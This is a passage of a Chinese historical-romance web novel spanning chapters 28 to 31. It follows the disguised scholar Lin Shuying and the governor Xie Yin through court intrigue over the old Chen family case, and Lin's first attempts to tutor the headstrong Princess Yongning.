林疏影看着眼前的人,那个眼神,她从来没见过。
她好似总也看不懂这个人。
二人之间总是隔着一层纱,迷迷蒙蒙的,或许对于别人是若即若离的迷蒙,但对于她,是抓不住、猜不透的不安。
她握紧手,将指甲嵌进肉里才罢休。
“你怎么来这里了?”
最后,还是谢寅打破了二人之间奇怪的氛围。
对啊,他直到她的身份了,大概都猜出了这个人的目的了。
但她会想要听到他坦白这些吗。
少年的心跳漏了半拍。
“我...来找小孩儿。”
林疏影觉得这个人说话有些奇怪,跟往常不同,但是又说不清是哪里不一样了。
“那...一起回县衙吧。”
谢寅的官位更大,这句话可以是命令。
但是林疏影听来,更像是请求。
好奇怪。
真的好奇怪。
她怎么可能敢拒绝总督的命令!
自然是跟在这人身后,慢吞吞地走。
冯府其余的一切自然用不上谢寅,他此来就是要查出来冯齐党羽的。
但魏大人还是一如既往地心狠手辣,谨慎小心,没留下一个。
除了冯齐,其余人都早已活不见人死不见尸。
谢寅察觉出什么,特意亲自审问了冯齐所有亲眷,无一所获。
他正愁眉怀疑间,就对上了那个拿着糖葫芦,眼圈微红的人儿。
她会怪自己吗?
这个问题萦绕在谢寅心里。
“你爱吃糖葫芦?”
谢寅心里烦乱。
刚才林疏影的疏离的眼神,一直在他脑海里,挥之不去。
他深吐出一口气,平复了不安的心,开口问出来。
“远志,哦,就是刚才那个孩子爱吃。”
这个问题有些出乎意料。
二人似关系很近的朋友,有一搭没一搭地闲聊。
“是专门带给他的?”
谢寅挑眉,怎么这个人就是看不见他呢。
“那日,离开庆阳,我打翻了他的糖葫芦,说好了要还他一个的。”
林疏影咬着每一个字,她没由来一股子情绪。
可她偏偏又挑不出这个人的错误。
抄了冯府,把冯齐关起来没错,把那些受着百姓血汗的做胭脂的“姨娘们”清剿了也没错,但是远志和冯夫人也被连累了。
“我没有办法改变这个条令。”
谢寅读懂了她话里的情绪。
鲜少地耐心解释,林疏影今年才立足京城,这些年恐怕也都是在书本里。
书本里的总是美好的,但这样的现实确实时时刻刻都在发生。
“...”
林疏影无话,她没想到会听到解释。
心里盘算着如何接济那母子二人,既然律令里面没有这一项,那她就自己添上。
“多是表里不一的人,你还是小心些,别被人骗了。”
谢寅解释完,又怕这人做傻事,提醒着。
“总督说的是。”
林疏影只当谢寅今日有些累了,所以才这么婆婆妈妈,也没多想,只管敷衍。
大概想清楚了自己要如何接济可怜的母子二人了,便又想起来。
她的身份!
“总督,那日是您冒着风雨,把我从大坑里捞出来的?”
林疏影小心翼翼地问着。
“咳咳...咳咳”
谢寅被这突如其来的一问呛了一下。
“是,是我。”
谢寅想起那日的情景,不禁耳根微红,幸而他走在前面,不然红着的脸也让人看了去。
该被笑话——他这个京城纨绔“名不副实”了。
奇怪,这人从刚才开始就很奇怪。
之前不都是在她面前“端”着吗,这次怎么有点不一样了?
如果这个人知晓了她的身份,以他的心思,定然是将她算计在内,有对策。
应对她这么个人,要么就是直接摊牌,要么就是真的没发现。
或许,坑里二人发生的一切都是她的梦!
如果从这个角度来解释,还是说得通的。
本来林疏影想要试探这人,结果这人承认了之后,便不再说话了。
想摊牌的想法卡在了脑子里。
二人就这么僵持着。
“冯齐是魏丰华那个老狐狸的人,他处理的很干净,除去这个人,其他党羽一概搜不到。”
谢寅打破了两人之间的静寂。
“魏丰华?”
林疏影倒是没想到这人会向她“汇报”。
但听着这名字,想起一个人,魏丹清。
“户部尚书魏丰华,祖辈魏擎与高祖一起打天下,然而后世子孙却借着高祖赏赐的功勋,致使魏家在京城如鱼得水,称王称霸,也就是现在一手遮天的士族之一。”
大夏王朝的衰颓不是一蹴而就的。
总有些贪心不足的,想要拿不属于自己的东西,大夏也就在这风雨飘摇中晃来晃去。
“那日,早朝之后,魏丰华几人议论,要在你的人中安插自己的心腹,你...”
林疏影顾念自己的身份,可以等了其他人都走了,自己才出了大殿。
迎面就是这些人的窃窃私语。
“嗯?你早就知晓,为何现在才告诉我?”
谢寅转身,挡住了林疏影的路,质问道。
林疏影不敢对上身前人的眼神,刻意躲闪。
这个人怎么这么记仇,那时候她还不清楚这人的底细,自然没说出来。
现在说出来了,反而被这个人“寻仇”。
真是,还人没好报。
早知如此,多此一举干什么!
看着眼前的人垂着眼,睫毛盖着不时转动的眼,反而觉得这人终于有了几分灵气。
这才是她该有的样子。
没有人天生就应该承受那么多,林疏影背负的仇恨也不该把她变成一个了无生气,只懂得复仇的工具。
谢寅欣赏够了这人,终于挪开了身体,嘴边勾起一抹别有深意的笑。
“现在告诉我也不晚!”
他将手扣在脑后,脑袋顺势往后躺。
阳光从一边打过来,照着谢寅的侧脸,勾勒出分明的下颌线。
林疏影莫名吞咽了一下口水。
视线与漫不经心的眼交锋后,才匆忙被收回。
不愧是“京城纨绔”啊,怪不得能迷倒一众贵女。
林疏影心里突然冒出一个大胆的想法,如果这人去了专门养小倌的“青楼”,那一定是“花魁”,是“头牌”。
“士族扎根大夏,想要肃清,就得大刀阔斧、就要刮骨疗伤。”
谢寅贪恋着身后人的眼神,但每每对上,那人
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总是撇开眼。
他自认为自己还是不错的。
怎么...
既然她想要的是复仇,那便助她复仇,也好过被仇恨折磨。
于是,便借着给身后的人讲解朝廷线下的局势。
谁知,林疏影的心思全然没在这上面。
听见这一句话后,才刚刚意识到这人到底在说什么。
怎么,这人不光奇怪了,也变得不神秘兮兮的了。
与这人在京城的纨绔的名声相反,现在,这个人有些像认真教书的夫子一样。
还故意把这些东西“嚼”碎了给她。
林疏影一想到“嚼”这个字,就有些毛骨悚然。
只能低着头,连看都不敢看身前的人,哪怕是这人的背影。
随后,余光瞥见了一个乳白色的东西。
还没看清楚,就被玉佩晃了眼。
“嘶”
她干脆就直接把玉佩拿下来仔细看。
这个...是谢寅给我的。
林疏影拍拍自己的脑袋,似乎记得这个人神神秘秘地跟她说了一句话。
陆大人找对人了。
好像是这句话。
所以,这个玉佩其实,是陆大人的,谢寅把这个交给了她,应该就是代表陆大人已经认可她了。
况且,她之前也主动表示过自己愿意站在陆大人这一边。
是了,就是这样。
这样一来,所有的一切都解释得通了。
玉佩代表陆大人得认可,但是谢寅这个生性多疑的家伙的疑心病还一直在。
而沧隅山一行就是用来鉴别她的诚意的。
所以,无论她决定去或者不去,都没有任何区别。
她一定会被谢寅安排去,不管这人是明着说,还是暗示。
真是好计谋。
不过,她确实从沧隅山里得到了不少关于陈氏旧案的事,也算是因祸得福。
况且,她也是需要这次机会得皇帝青睐,才好为自己之后的仕途铺路。
总之,这是她自己的选择,若是将经历生死的后怕,还是曾经被压抑的恐惧释放出来,也不该是对着这个人。
摩挲着手上的玉佩,林疏影不再计较谢寅。
晶莹的玉透着光,洁白无暇。
谢寅听到了那微弱的一声“嘶”。
以为这人怎么了,忙转身,幸而他多年习武,动作轻盈,没带动身上的甲胄乱响。
见这人摸索着玉佩。
“你可知,它叫什么名字?”
“玉佩还会有名字吗?”
林疏影抬眼,睫毛上扬,终于露出了那一双杏眼。
“任何存在的事物都会有,它叫冰花。”
谢寅看着她的眼睛,不放过一丝捕捉这人情绪的机会。
“冰花?”
林疏影一愣,疑惑起来,玉和冰有什么关系?
陆大人能让他这样乱起名字的?还是这个人在逗她。
思及此,她眼里的疑惑又转化成戒备。
谢寅看着这人一连许多个的表情变化。
朗声笑起来,少年的笑声温和又奔放。
二人总算是到了县衙。
“回去收拾收拾,该回京了。”
谢寅脸上埋下一层阴郁,原来的少年忽然变了模样。
该给进行下一步计划了。
你们这些蛀虫,一个也别想跑!
29. 第 29 章
是夜,信鸽飞入京城,正正好停落在魏府。
魏府是京城里最大的宅子,而魏家之显赫,让其他京城家族避其锋芒。
魏丰华一身黑衣,站在庭院下。
一旁栽种紫薇树远远高过屋顶,在阵阵春风中摇曳。
世人将紫薇与官禄相结合,因此士人皆喜欢栽种,借此希望自己仕途顺利、地位尊崇。
魏府距离皇宫很近,却又占了一大片地方,京城里的百姓见了都要远望那棵紫薇,希望能讨来些余下的福禄。
他从信鸽上拿下信件,慢慢卷开,借着不远处书房明亮的灯光,通览一遍。
谢寅,你藏得够好。
这次博弈,我不过是少了个可有可无的废人,而你多年经营的伪装便彻底被扯下来了。
无论你要做什么,这个天下终究会成为我的!
大夏也该结束了。
这人脸上挂着阴狠的笑,将那纸条轻轻拿着。
京城中,魏丰华表面强势但还有些“良心”,实则内里恨绝、心狠手辣,极其残酷。
他本来一心慈悲,不曾想那一场变故,让魏家成为众矢之的,世人的唾沫要淹死魏家,士族的诬陷要绞杀魏家。
没有人不忌惮曾经一家独大的魏家,即便他的父亲被人诬告贪污巴郡粮草,还将粮草私自屯起来。
私藏粮草,无异于私养军队,谋逆造反。
陈家旧案的罪魁祸首直指魏家,因为陈伯,也就是陈述的父亲发现了此人的魏家的秘密,所以被灭口。
几乎是人赃并获,魏启元在牢狱中屈打成招,一人认下所有罪责,才不连累家族旁支。
魏丰华也被父亲偷偷送出京城,魏家就此没落。
不想,十年前,魏丰华假借族内没落子弟的身份,一篇策论重新杀回京城,入选翰林修撰,表面上,他忙于政事,怜爱百姓,也颇得民心。
他移步到书房,在油灯的火焰猛然窜起,将那点纸片焚烧殆尽,只留下在空中飘荡的残渣和一双阴狠无比的双眼。
“大人,冯齐的姨娘们都处理干净了,就是...他的夫人和小儿子不见了。”
无影跪在地上,头死死地低沉着,甚至在颤抖。
世人都说魏大人仁慈怜爱,但只有他们这些暗卫才知道,这人的心有多黑、多狠!
甚至连侍奉卖命多年的冯氏父子都不放过。
更别提他们这些杂碎了。
做错了事,只有磕头讨罚的,没有敢哭喊求饶的。
“不过是处理一个手无缚鸡之力的女人,这么简单的事都做不好?”
魏丰华语气冰冷,冷气直渗入骨髓。
无影连忙磕头,将头磕出血来。
“你再去搜查,让唐其昌助你,若是在庆阳还找不到,那就去搜谢府,和那个不识好歹的状元郎的破屋,若是还找不到,你们有几个算几个,便一起受罚。”
他丢下这句话,便甩袖离去。
无影慢慢起身,望着那个黑色的背影,眼里尽是恐惧。
--
次日一早,林疏影与谢寅赶上了早朝。
孙、曹、赵几人心照不宣地你看看我,我看看你。
庆阳运河带来的好,他们得到的可比皇帝早。
这些年来,皇帝不再年少,也是有了摆脱他们士族掌控的心思。
况且谢寅又是皇帝青睐有加的人,若是他查出了什么,这就不好说了。
福公公尖锐的嗓音想起,让每一个手脚不干净的人的心跟着揪起来。
与这些人的心虚不同,谢寅昂首迈着阔步,一身甲胄早已经脱去了前几天的血腥,眉眼间多了几分英气。
两旁的官员纷纷偏头小心打量这人。
谢寅行礼。
“快些起身,谢寅你这一去,可是解决了朕的心头大患啊。”
皇帝胳膊往前伸,做了请谢寅起身的动作,一脸笑意。
这话太过明显,皇帝当真是转了性子,开始忌惮士族了?
自登基以来,皇帝一直窝窝囊囊地周旋于各大士族之间,做“和事佬”。
当初先皇启用陆德静,实行新法,不过才一年,他们这些士族就被整得不成样子。
若不是先皇突然驾崩,现在的朝堂恐怕会大不一样。
莫不是,这个陆德静又起了变法的心思,去蛊惑了眼前的圣上?
可皇上自小养在太后身边,太后如何能同意变法?
魏丰华品味着刚才的话,抬眼,看向高位之上的人。
“哪里,这不过是微臣的分内之事,只是剿匪一事暂且告一段落,但微臣发现那沧隅山匪寇竟然要自立为王,意图...”谢寅继续道。
这话再明白不过,李昭朔收起了方才的笑,神色严肃起来。
“那匪寇直奔巴郡老家,是微臣无能,没能解决了这个祸患,不求皇上赏赐,但求皇上能让微臣前去绞杀匪寇!”
谢寅跪下请罪。
皇上实则早就经过陆德静之口得知了陈述一事。
他于高位之上沉默半晌。
实则是在观察下面人的动作。
他被士族掣肘已久,甚至连太后都要干涉大夏朝政,他不是傻的。
皇权岂能让士族染指?
自然要想方设法出去碍眼的士族。
既然谢寅回来了,那这场戏也要开始了。
“竟然现在才将此时禀报,谢总督,你可知这是欺君之罪!”
李昭朔颇有些拿腔拿调的架势。
底下的群臣更是乱成一团,吵吵嚷嚷。
唯独魏丰华,大家也只当他是新来的,不知晓二十年前的旧案也是正常。
那孙、赵、曹三家均乱了阵脚。
“微臣自知欺瞒了皇上,甘愿被责罚,但是若让那歹徒猖狂巴郡,那才是要将大夏的基业尽数毁了。”
“既如此,那便派楚将军前去镇压,谢寅你便搁职在家休息几日吧。”
底下的人一下子就明白了皇帝的意图。
偏要让南部边关的楚将军前去剿匪,而不是谢寅。
要么就是皇帝早就谋划好的,要么就是想丢下统领十万禁军的谢寅这个倚仗了。
怎么想也都是前者。
天子终究是天子。
“朕知道,当初先皇没能给陈家一个好的结果,现在是时候将真相还给陈家了,朕也好给陈述一个交代。魏爱卿,你觉得呢?”
底下的大臣都噤了声。
魏丰华垂眼看着笏板,这个局他已经看得很清楚了。
士族间的制衡,强弱盛衰便是王朝的延续,皇帝要用士族,又要打压士族。
曾经的魏家,现在的三家。
不过都是皇帝手下的棋子。
而魏家又再一次成为皇帝手下得用的好棋了。
“微臣觉得当给陈家一个真相,给天下人一个真相。”
“那好,便由你去着手审查这个案子。”
群臣再次小声吵嚷,这是要彻查陈氏旧案的苗头。
魏丰华虽四十入京城,但一写得手好文章,颇得盛宠,又不爱与他们这些人为伍,看来皇帝是要清算他们三大家,将他们逼上绝路,那也就别怪他们了。
李昭朔似乎没听见下面的吵嚷似的,依旧正色地看向林疏影。
“林状元,这次你潜藏沧隅山,功不可没,朕果然没看错你,如今,公主年纪不小了,你便去教导朕的妹妹如何?”
这是翰林侍读的差事,她竟是直接上升了一个品阶。
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林疏影本在琢磨着皇帝地图谋,突如其来地赏赐,她连忙跪拜谢恩。
这是她没想到的,皇帝竟然会这么器重她。
“疏影一定倾尽毕生所学,教导公主。”
李昭朔大手一挥,他似乎疲倦了,吩咐福公公道,“小福子,你带状元郎去领赏吧。”
说罢,便下了早朝。
林疏影跟在谢寅身后,亦步亦趋。
将陈氏旧案重提,皇上也已经给了态度,既然派了楚将军去摆平匪寇,况且,让魏丰华去查这个案子,也算是公正。
一切终于慢慢变好了,只是母亲的死究竟是哪一家做的,还是得靠自己来查。
她的眼神暗了暗,以她自己,查案必定艰难无比。
若是能借人之手...
她正思索着,前面的人突然停下来。
林疏影没注意,直接撞到了坚实的脊背。
“痛”
她捂着有些发红的额头,看着眼前的背影。
这真是尊大佛!
“怎么,嫌我被关禁闭不够?”
谢寅转身调侃道,一点儿也没有被责罚的沮丧。
倒是不甚在意。
林疏影想起大殿之上的情景,对啊,关禁闭就能抵消欺君之罪?
皇帝在包庇这个人!
“你们要扳倒士族,动作当真迅速。”
林疏影没绕弯子,她微微仰头,盯着谢寅的眼。
谢寅看她这模样,没忍住笑出了声,近乎宠溺地摸着林疏影的头。
“还疼吗?”
林疏影怔住了,谢寅这是在...
给她揉刚才被碰着的地方吗?
好奇怪!
她连忙挣脱谢寅的手,正色道,“总督,我只求你一件事,哪怕是为你上刀山,下火海也不为过。”
谢寅放下手,歪过头仔细看着眼前之人。
以前他怎么没发现,这人一点也不拿自己当回事。
为了复仇,连自己的命都要搭上,何必、何苦。
死者已逝。
谢寅没回话,直接走出宫门,刻意加快了脚步,谁曾想。
后面的人几乎是跑着跟上他,甩都甩不掉。
“我被皇上禁了足,你再找我一个有罪之人做什么?”
“我只求您一件事。”
林疏影不依不饶,直接跟到了谢府。
谢寅看着穷追不舍的人,心软下来,既然她铁了心,那我便给将她拉进这个局,只要将她死死护住,也没人能伤她分毫。
“那从今日起,你我便是一条船上的人了。”
谢寅推开谢府的门,迈开步子,回头冲她说到。
林疏影没有丝毫犹豫,迈开步子,跟上了已经落了她一段距离的谢寅。
这时候谢寅父兄忙着处理公事,自然不会回来。
谢家又极其节俭,丫鬟小厮都是省了再省。
现在,连伺候二人喝茶的丫鬟都不曾有。
二人去了书房,面对着面坐好。
林疏影看着茶杯,有些事情还是得说清楚。
“我连林太守房里的小妾的身份都了如指掌,想必,您一定好生调查了我一番。”
她完全不给谢寅说话的机会。
与其被牵着鼻子走,不如把主动权握在自己手里。
“求您帮我查出究竟是谁害死了我母亲。”
林疏影的身份,二人心知肚明,她盯着谢寅的眼神。
“好啊,那你便要配合演戏。”
谢寅勾起嘴唇。
林疏影觉得自己进了狼窝,眉心突突地跳。
“演什么?”
“当然是对我负责了。”
“什么?”
30. 第 30 章
次日,林疏影收整好,依旧是步行至皇宫。
皇帝虽然赏赐给她许多东西,但她都没用。
她的身份太过敏感,没准明天就被抄家了,所以不管是堆放在自己这里还是置办成屋子、马车,都是一样的。
林疏影第一次做夫子,生怕教不好,还将母亲教授自己诗书时的笔记全带上了。
厚厚的一大包书,再她的背后,格外显眼。
听说,永宁公主的脾气不太好,也不知是不是真的。
林疏影迈着步子,也许是有些怯生,她不知道自己能不能胜任,脑袋里的想法一个接一个地往外冒。
哪怕有过退缩的念头,但还是都压下来了。
林疏影深吸一口气,平稳了心绪,继续往前走。
但是,背上的书怎么变轻了?
是她的错觉?
林疏影下意识向后看,正对上谢寅帮她托起书的动作。
“谢总督!你...”
林疏影连忙转身,躬身行礼。
这可是她的上司,能帮她找到真凶的未来“恩人”,她不敢怠慢。
话还没问出口,就被白皙的手掌堵住嘴巴。
“嘘。”
谢寅将食指放在嘴唇前,示意林疏影噤声。
“我奉命入宫,不能被其他人发现,就先扮作你的侍从。”
谢寅简单明了,说完还是没把自己的手放下来。
直到林疏影点头,他才会意,放下手来。
“那辛苦小老虎了。”
林疏影顺口答应,却说漏了嘴。
待到她反应过来自己说了什么时,一切已经都来不及了。
“小老虎?怎么,我们林大人还有给下属起绰号的癖好?”
谢寅挑眉,若是他猜的没错,这个小老虎就说的是他。
寅虎、寅虎嘛。
他仔细品味两遍,好不错。
林疏影看他挑眉,也不知该怎么回了,竟有些不知所措。
“旧时,巴郡家里有个小厮,自小伺候我,名字便是小老虎,我叫习惯了,无意冒犯大人。”
真是,竟然当着谢寅的面说出来了。
“哦,原来如此,那小厮是男的?”
谢寅脸上的笑猛然收起来,摆出一脸不耐烦。
这名字也不怎么样吗,真是俗气极了。
“自然...”
林疏影摸不清这人的意图,小心答到。
都小厮了,可不就是男的吗。
谢寅未回话,只冷哼一声,拎起林疏影的沉甸甸的包裹就迈了大步子往前走。
远远落下林疏影。
林疏影能怎么办,硬着头皮追上呗,反正这种囧事又不止一次了。
毕竟一回生二回熟嘛。
“小老虎,不是...你等等我。”
还好谢寅并未生气,也没记仇,两人安静地走了一会。
晨起的光影透过老树,穿过街道,打在两人的背上。
有些暖。
“谢大人这是要进宫受皇上的命令?”
林疏影先开口打破了短暂的平静。
“嗯,许是陈家旧案。”
谢寅垂下眼眸看着林疏影的一边侧脸。
被斑驳光影占据的侧脸。
“你什么时候出宫?”
“你授完课,我便跟你走。”
林疏影寻思着,那就等确定皇上让这人做什么之后,再说。
若是这人真的与魏大人一起审理这案子,她再与谢寅说也不迟。
之后又是一片寂静。
谢寅抿着嘴笑,他不着急,这人有事求他,必然会主动开口,只要耐心等待就好了。
这个位子,这样枯燥的案件,他第一次觉得甜。
看来当初父兄的做法都是对的。
入了皇宫,士族的眼线便少了许多,二人也终于分开“行动”了。
林疏影重新背着厚厚的书,由永宁公主的贴身丫鬟带着在皇宫左拐右拐到了文华殿。
这便是与公主授课之处了。
林疏影看着雕栏玉砌,不由得感慨,看来永宁公主很得盛宠。
她迈步,踏入文华殿。
第一次与自己学生见面。
美人端坐在殿内,借着几丝光线,正观察着眼前的书生。
公主一身绸缎,头上金钗玉珠,华贵非常。
白皙娇俏的脸上带着几分审视,素手整理着自己头上的金银首饰。
林疏影觉得公主似乎有些瞧不上自己。
“公主殿下,您之前学过什么?”
她解下包袱,一层一层拨开布帛,几大本书显露出来。
“自然是《女戒》、《内则》、《女论语》了”
永宁公主颇为矜持,自打林疏影进门,就不曾起身行礼。
林疏影倒是不在意这些繁文缛节,她怎么要求自己,便如何要求别人。
公主毕竟身份尊贵,有些脾气也是正常。
“那公主学过这些了,我便教些不一样的。”
林疏影将那几大本笔记都拿出来,另外拿出《大学》来。
“就从这本开始讲吧。”
“本公主已经学完了该学的,我知道你过来不过是走个过场,应付皇帝而已,本公主要回寝宫歇着,你在这里随意。”
永宁公主落下话,便转身就要走。
林疏影忙将手臂挡在公主身前,拦住她的路。
“你没听懂本公主的话?”
“听懂了,所以才拦。”
林疏影不明白公主为什么这么厌恶她,但是她既然受了皇命,肯定是要给公主讲的。
永宁公主皱眉,厌恶地看着眼前碍事的手。
她又朝文华殿外的贴宫女小翠使了眼色。
小翠自小跟在公主身边服侍,一个眼神,便能知道公主的意思。
她上前,推开林疏影。
林疏影没想到一个宫女能有这么大的力气,直把她推得往后仰。
“公主,不只有《女戒》、《内则》这些书,还有《大学》、《中庸》等,您还没有学过,如何就把该学的学完了?”
没有时间留给林疏影愣神,她冲那个华贵的背影喊道。
永宁公主倒是顿下步子,扭头,嗤笑一声,“那不是你们男人读的书?”
“女子亦可学!”
“你敢教?还皇帝让你教我这些东西了?”
公主转回头。
这个人夺得状元,当真与其他人是不一样的,不过,那又能怎么样呢?
“我如何不敢,倒是公主不敢学。”
林疏影见那个背影出了门,再没看见那张娇俏的脸,有些失望。
难道,她第一天教学生就这样结束了?
“夫子是个好夫子,你再熬几年,教上皇子,比教我更有前途不是?”
那个背影走出去老远,林疏影仍旧愣神。
只恍恍惚惚间看见一个人影,在他耳边低语。
原来是公主的贴身婢女小翠。
“公主的原话,您
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也不要在这里傻坐着了,地上凉。”
小翠轻笑一声,不知道的,还以为自家公主是个薄情的人呢。
她把话传达完,自然行礼告退。
林疏影连连回着。
她还是不明白,那些曾经她爱不释手的书,怎的他人就不稀罕了。
公主如此聪慧,难不成不知道这些书的好?
林疏影从地上站起来,没拍屁股上的灰。
她扶着太师椅,慢慢坐下,看着自己厚厚的笔记,鬼使神差地翻开了。
一页一页都是关于母亲的回忆。
母亲从未提起她的母族,她也只知道母亲来自京城赵家,至于如何能被窝囊的父亲求取,她并不知。
她看得入了迷,竟是连午饭也没吃,一直挨到了霞光满天。
昏黄的阳光照进文华殿,惊醒了陷在回忆里的人。
她只能简单收拾一下,确实将基本书好好地放在了桌子上,将包袱盖在上面,以免落灰。
无论如何,她是不会退缩的。
出宫时,她孑然一身,颇有些潇洒。
但这潇洒里包含着多少心酸,只有干坐了一天,被学生晾了一天的林疏影知道。
“怎么?不开心,难不成是被公主摆了一道。”
谢寅不经意地拍了一下林疏影的背。
拉回了林疏影的情绪。
“永宁公主与皇上不和?”
她整整思索了一天,反复思索公主说的每一句话,终于得出了这么个结论。
“聪明。”
“怪不得,她将我晾在文华殿一天。”
“永宁公主可是出了名的刁钻蛮横不讲理,皇上这次,估计就是想让你治治她的性子。”
谢寅将两只手交叠放在脑后,斜睨着林疏影。
二人这次原路返回,夕阳余光正打在身旁之人的脸上,柔和的光晕和那人如画的眉目让他移不开眼。
“有办法了!”
林疏影灵光一闪,既然皇帝要磨公主的性子,那就用“皇命不可违”先把公主留在文华殿再说。
慢慢来,她有的是信心。
谢寅看着踌躇满志的人儿,忽然觉得这样的人好像总有数不完的活力。
“对了,皇上召见你去做什么?”
“自然是让我与魏大人联手,彻查陈氏旧案咯。”
“那...魏大人好似也是士族?”
谢寅听了林疏影的问题,捧腹大笑,“我们谢家也是士族哦。”
林疏影意识到什么,自己又说错话了。
不过,她倒不害怕,因为谢寅从未与她计较过。
“好了,不逗你了,我知你担忧什么,魏家在先帝时也是鼎盛一时的士族,但也牵扯进了旧案纷纭,最后落得个满门抄斩的下场,魏大人是魏家的旁的再不能旁的支系,这才躲过一劫。”
“皇上此举定然是深思熟虑过的,魏大人也绝不会在这上面有什么小动作。”
谢寅耐心解释道。
京城里,她不知道的东西还很多,只能一点一点教给她了。
“那我托大人之事...”
她从没奢求自己能参与陈氏旧案的审查中。
虽然是假借他人之手得到的真相,她也不觉得有什么,有真相就够了,只要能给母亲讨公道就够了。
“放心,皇上知晓你了解陈述之事,让我转告你,和我一起协助魏大人查案。”
林疏影停下脚步,看着谢寅。
她不是傻子,这个人给她的,太明显了。
31. 第 31 章
谢寅眼睛一闪,躲过林疏影的眼睛,径直往前走。
太明显了么。
“不是要与我演戏吗,这样不是更好吗。”
林疏影摸不清这人的意思,刚开始觉得这人拿了把柄,一定会毫不客气地利用她。
到现在却像是在处处帮助她。
是她的错觉吗。
“我不知谢大人竟是副热心肠,处处为他人着想。”
“放心,等明日授课完毕,就到了用你的时候了。”
谢寅回头冲她笑。
这个笑闯入林疏影眼前,她一怔,捏了捏拳头,加快了步子跟上前面的那人。
“让长青服侍你一段时间吧,最近陈氏旧案闹得京城不安宁。”
谢寅将林疏影送到破院子外,他看着破败的院墙,比土匪窝子的屋子都破。
不禁皱眉。
这个人真是吃苦上瘾,皇帝的赏赐足够这人买个位置不错的房子,她竟是一分不动。
宁愿每日来回走这好长一段距离。
宁愿住在甚至漏风的屋子里。
“嗯好,长青他可能误会了咱俩的关系,你看...”
这个长青,她刚开始觉得这人话少,熟识之后,完全不一样。
尤其是“知道”了她二人之间的关系之后,对她的态度也是不一般的好。
“随他。”
谢寅背过身去,他没有向下人交代自己心思的习惯,不过这个误会倒是也不错。
他勾唇一笑,将双手交叠背到脑袋之后,悠闲地往前迈步子。
林疏影见这人的态度,也不再纠结了,既然这人不觉得有什么,那她又何必在意。
反正她又不是男子,断袖之名可有可无。
至于谢寅染上这个名声,不好结亲,她操心这些也没用。
她自嘲地笑笑,推开门。
吱呀一声,熟悉的小院,也是她的归所。
--
次日,林疏影学聪明了。
她起了大早,让长青去叫醒谢寅。
谢寅自然极其不情愿,好不容易被禁足谢府,终于躲过早朝了,但他没躲过这个林疏影。
躲不过怎么办呢,宠着呗,不就是早些起床嘛。
谢寅刻意换了件衣服,仍旧是简单的粗布,但比昨日的还要利落些,又梳理好头发,甚至在铜镜前看了又看,这才出府。
林疏影正纳闷这人怎么这么磨蹭,就见一个人影过来。
“谢大人,你可知晓皇上下了早朝后,要去哪里?”
她直奔正题,甚至都没注意到眼前的人换了衣服。
谢寅好不容易“打扮”一次,这人竟然直接开口问这些。
他心里有一股子莫名的情绪,说不上来。
眼前这人真是不解风情。
“眼下,文华殿被用来教授公主课业,只有乾清宫了。”
二人并排走着,谢寅测过头,垂眼看着林疏影。
“好,那我便去乾清宫等着皇上,既然公主不愿,那我就借来皇上的威势。”
果然还是想着正事。
谢寅腹诽林疏影满脑子正事,不过,早在庆阳,这人主动提出要潜伏沧隅山时,他就应该知道了。
为了得皇帝赏识,立下功绩,连自己的性命都可以不顾的人就是这个样子。
若是林太守“较真”些,将结发妻子之死看得重些,也不至于让一个才闺阁女子出来为母复仇。
他叹了口气,先前的情绪都被心疼代替。
二人进宫后,一同去了乾清宫候着。
小福子刚随着皇帝下了早朝,就看见殿外候着的两人。
“两位大人在此,可是有事要找皇上啊。”
“自然,劳烦公公通报一声。”
林疏影不卑不亢,她一身素衣,跟普通读书人没什么两样,但身上就是有让人钦佩的气质。
福公公自然也给足了礼数,忙去禀报了。
林疏影得了通传,进了乾清宫,行跪拜礼。
“爱卿快快起来,可是朕的皇妹让你忧心了。”
皇宫里哪能有皇帝不知道的事情。
“正是,烦请皇上给臣写一份手谕,好留公主在文华殿。”
林疏影起身,再拱手行礼。
皇帝在满堆奏折的缝隙间打量着林侍读。
忽地大笑出声。
“你可知,手谕用在哪些地方?”
林疏影自然知晓,提出这样的要求,确实逾矩了,但是也实在没什么好法子了。
“是微臣言过...”
此法无望,林疏影还是知趣的,她不能给皇帝难堪,但是话还没说完,就被皇上打断了。
“皇妹的性子确实烈,她母妃走得早,但有乳母一直侍奉着她,乳母的话可比朕的话管用多了,不如朕召见乳母来,只要你能说服她,皇妹自然肯听乳母的话,乖乖在文华殿待着。”
林疏影忙又跪下谢恩。
她在巴郡时,身边不少妇人,与她聊的投机的不在少数,更何况,北上一遭,她更加了解百姓生活艰难。
眼下,更有耐心去说服公主的乳母了。
她没讲书上难解的文字,而是简化道理,将利弊摆放在这位嬷嬷跟前,动之以情。
三两下,便成了。
皇帝见林疏影不光能在打仗时做得出色,还将教导公主看得如此重,也甚是欣慰。
林疏影见时辰不早,就先行退下。
与嬷嬷边往文华殿走,边谈笑。
二人熟络起来,林疏影丝毫没看轻嬷嬷,将自己的经历一一说来。
嬷嬷似得了知心人一般,“公主原先的脾气是极好的,但宫里的太监公主势力,见公主母妃身份低,去的早,也不得先皇宠,自然就强势些,好震慑这些狗奴才。”
说罢,她还抹了几滴眼泪。
林疏影自然知晓后宫水不比朝堂浅,但听闻了趋炎附势的奴才,不禁叹气。
只有权势才能让人俯首称臣。
“现在一切都变好了,嬷嬷莫要再忧思往事。”
她安慰道。
二人行至文华殿。
林疏影先让嬷嬷在外候着,她拍了拍身上的灰尘,进去果见公主端坐着,皱眉看着她。
公主今日仍旧一身华服,白皙的皮肤与衣服相衬。
似乎只有华服才能配得上这位尊贵的公主。
李月明一下一下地敲击着桌子,发出清脆的响声。
“你是什么身份?竟敢让本公主等你!”
她的脾气,宫中上下可都是见识过的,怎的这个人难不成是记恨她昨日所做之事,故意让她等的。
若是这样,那她可要好好整治一下眼前这人了。
“是在下误了时间,公主恕罪。”
林疏影态度很软。
但却让火气起来一半的小公主不知所措了。
他应该教训她才是,应该教训她没礼节才是。
伸手不打笑脸人,李月明也没好发脾气,“知道错了就让开。”
她自然是不可能上课,皇帝的心思她还不知道。
不过是将她的脾气治一治,然后顺手拿她当拉拢士族的工具罢了。
她还偏不如皇帝的意思。
林疏影没着急动作,“公主,今日您还是听在下讲一节,如何?”
李月明没想到这人竟不依不饶,如此执着,还不肯给她让道。
她自然是有些着急,翻了个白眼,便喊门外候着的小翠,“小翠,快把这个碍事的人给我拽出去。”
半天,外面没人应答,李月明脸上有
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些挂不住了。
连一个宫女都不听她的话了?
而且还被这个夫子看见了,保不齐要背地里编排她。
“小翠!”
李月明就这样与林疏影耗了好一会儿,终于她拉下了脸。
